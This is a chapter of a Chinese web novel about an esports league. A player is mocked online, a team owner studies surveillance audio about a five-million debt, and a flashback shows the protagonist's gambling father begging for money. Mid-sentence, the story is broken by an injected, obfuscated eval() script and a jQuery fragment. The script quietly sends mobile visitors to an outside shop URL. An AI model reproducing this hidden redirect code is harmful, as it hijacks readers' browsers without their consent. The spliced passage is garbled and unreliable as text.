赛事组官方的语音原件放出来后,电竞论坛里的喷子们态度瞬间来了一百八十度大转变,秉持着谁菜骂谁的友好原则,将矛头对准了许盛。
甚至在论坛里直接给许盛办起了赛博退役仪式。
不会杀人的射手要他干嘛?这是SEL,又不是福利院!
第二天TIG的常规赛居然2:3输给了上个赛季的败者组战队Rain,戏剧性更是拉满,喷子们更来劲了。
至少在TIG下一次赢过强队之前,他们在互联网上是没有呼吸权的。
DG今天没有训练赛,几人各练各的,林安可没打排位,自己在训练营里练英雄。
远山路过时瞥了一眼:“在练罗拉?”
“嗯。”
罗拉是一个控制和续航都不错的辅助英雄,但在星陨回响中却非常冷门。
罗拉的控制技能是发射一枚台球,对路径上的敌人造成击飞效果,台球遇到墙体可以反弹,理论上可以多次击飞敌人。
但问题在于罗拉的技能路径太窄,而且有非常明显的技能起手式,一颗球发射出去,稍微会点走位的人都能躲掉。
远山看了一会儿:“罗拉这个赛季是有些弱了,但练一练也行,核心机制还是很全面的。”
林安可也是这么想的。
他泡在训练营里泡了一下午,反复测试反弹角度和预判,手感热起来后,觉得可以实战试试了,扭头道:“段……”
旁边座位空的。
亚当随口道:“小老板刚才被胖达叫出去了,估计有事。”
胖达经常单独把段迟叫出去,神神秘秘的,亚当他们几个都习惯了,也懒得打听。
林安可停在排位页面,盯着匹配按钮看了一会儿,不知道怎么,忽然不想自己单排练英雄了。
路人AD水平参差不齐,练也练不出什么效果,还是等一会儿吧。
另一边,段迟被胖达喊去会议室。
“什么事?”他拉开椅子坐下。
胖达递给他一个U盘,“你要的监控视频,我刚才去场馆取的。我问过了,负责人说监控有录音功能,不过在走廊上,不一定能听清他们说了什么。”
段迟接过U盘,问:“你看了?”
胖达摆手:“没啊,我刚取回来。那负责人叮嘱了我好几遍不能外传,毕竟是选手隐私,这次又闹得这么大。要不是人家跟我关系好,喝过几次酒,估计也不会给。”
段迟点头,“行,知道了,你可以出去了。”
胖达笑骂一声,“真过河拆迁啊你!行,反正跟我没关系,你自己慢慢看吧。”
他说完就出去了,顺手把门关上。
会议室里只剩下段迟一个人,他拿着U盘,在手里转了两圈,才插进电脑,戴上耳机。
监控视频是截取过的,一共十四分钟。
画面一开始,是林安可走进洗手间的背影。
段迟耐心等着,过了几分钟,徐桥出现在画面里,也进了洗手间。
他调大音量,指尖抵在桌面上轻轻叩着。
走廊上空无一人,耳机里隐约响起两人说话的声音,确实如胖达说的那样,听不真切。
段迟将音量调到最大,认真分辨。
“赢了比赛你很高兴吗?”
“赢了不应该高兴吗?”
……
“林安可,我真替许盛不值……”
“怎么,我说的不对吗?他替你爸还了整整五百万,有这事儿吧……”
段迟手指一顿,将进度条拖回去,又听了一遍。
“他替你爸还了整整五百万,有这事儿吧?”
五百万?
两年前,SEL春季赛,常规赛第三轮,TIG对战远徹俱乐部。
比赛场馆在D市,正好是林安可和许盛老家的省会城市。
出发前一天,许盛还开玩笑跟林安可说,打完比赛可以回去看看。
当时的林安可刚进入联赛的第一年就打进了世界赛,虽然只是八强,但对中国赛区来说也是正常的成绩,再加上他长相漂亮,吸引了不少粉丝,在SEL已经小有名气。
有他在的场次,票卖得比热门战队还快。
那天的比赛场馆座无虚席,段迟甚至是在闲鱼上收到的黄牛高价票,才能进去看比赛。
他难得放假,只能回国几天时间,德国的学校课业比较重,他提前熬了几个通宵才提前把假期任务赶完,挤出时间回国看比赛。
段卓知道他千里迢迢赶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809874|210798||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
回来就是为了线下看一场常规赛,无语得都不想说什么了。
“今年的世界赛在柏林,你就不能等一等吗?爸知道了不抽死你的话我跟你姓。”
段迟扫视了一圈比赛场馆:“我怕TIG那个射手太菜,拖得他打不进世界赛,你别管。对了,我没带应援牌,她们好像都举着东西,你那儿有吗?给我送几个过来。”
段卓:“?我看起来像是有TIG应援牌的人吗?段迟你到底知不知道你哥是DG的老板!”
“那算了。”比赛快开始了,段迟挂断电话。
他刚才进来时好像看到场馆外有人在发花花绿绿的应援物,去看看有没有Encore的。
段迟折返回场馆入口,问工作人员自己能不能出去领东西,结果人家说发无料的粉丝团已经走了。
不过工作人员补了一句,场馆仓库里还有些以前剩下的选手应援物,可以临时借给他用一下。
这里的工作人员还挺好说话的,段迟跟着她去了后台。
仓库不大,东西堆得满满当当,工作人员将Encore选手的应援牌找出来给他,另一边又有人喊她过去。
“我去看看,你先回观众席吧,散场后你要拿走就拿走,还回来也行,都是以前粉丝留下来的。”工作人员交代完就匆匆离开了。
段迟拿着应援牌端详了一会儿,粉丝做得还挺好看,一整个牌子上只有林安可一人,没有其他碍眼的东西,很好。
他转身往回走。
十分钟后,段迟迷路了。
他站在弯弯绕绕的场馆后台里斟酌了一会儿,试探着往一个方向一直走。
比赛场馆是圆形建筑,只要沿着外圈一直往前走,总会走到前台观众席入口。
他拐过一个转角,听见旁边的楼梯间里有人在说话。
“安安,爸爸求你了,爸爸知道你现在不缺钱,要不然也不会来找你了。你救救爸爸吧,我现在门都不敢出,就怕被那些人追着要钱。要是这个月还不上,他们就要逼我去卖肾啊……”
“爸爸真的知道错了,以后再也不赌了,我在里面学了好多手艺,你救爸爸这一次,以后我都不去赌了,我去摆摊,摊煎饼,咱们好好过活,以后爸爸还要给安安抱孙子的!”